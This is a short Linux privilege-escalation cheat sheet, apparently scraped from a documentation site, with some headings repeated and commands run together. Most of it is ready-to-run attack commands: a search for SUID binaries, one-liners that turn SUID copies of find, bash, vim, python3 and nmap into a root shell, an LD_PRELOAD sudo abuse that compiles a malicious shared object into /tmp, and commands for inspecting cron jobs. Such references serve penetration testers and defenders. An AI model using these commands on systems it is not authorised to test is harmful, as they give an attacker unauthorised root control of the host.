Linux Privilege Escalation Reference
Privilege escalation involves transitioning from a standard, unprivileged user account (uid >= 1000) to root authority (uid=0).
1. SUID / SGID Binary Enumeration
Section titled “1. SUID / SGID Binary Enumeration”Files with the SetUID bit (4000) execute with the permissions of the file owner (typically root).
Find All SUID Binaries
Section titled “Find All SUID Binaries”find / -perm -4000 -type f 2>/dev/nullHigh-Risk SUID Binaries (GTFOBins)
Section titled “High-Risk SUID Binaries (GTFOBins)”If any of the following standard utilities possess the SUID bit, an administrative shell can be obtained immediately:
| Utility | Exploitation Command |
|---|---|
find |
find . -exec /bin/sh -p \; -quit |
bash |
bash -p |
vim |
vim -c ':!/bin/sh' |
python3 |
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' |
nmap (Legacy) |
nmap --interactive followed by !sh |
2. Sudo Privileges & Permissions
Section titled “2. Sudo Privileges & Permissions”Verify granted sudo permissions for the current user without a password prompt:
sudo -lDangerous LD_PRELOAD Directive
Section titled “Dangerous LD_PRELOAD Directive”If env_keep += LD_PRELOAD is set in /etc/sudoers:
# Compile malicious shared object and execute with sudogcc -fPIC -shared -o /tmp/preload.so /tmp/preload.c -nostartfilessudo LD_PRELOAD=/tmp/preload.so <allowed-command>3. Scheduled Tasks (Cron Jobs)
Section titled “3. Scheduled Tasks (Cron Jobs)”Inspect system crontabs and world-writable scripts:
cat /etc/crontabls -la /etc/cron.*find /var/spool/cron/ -type f 2>/dev/null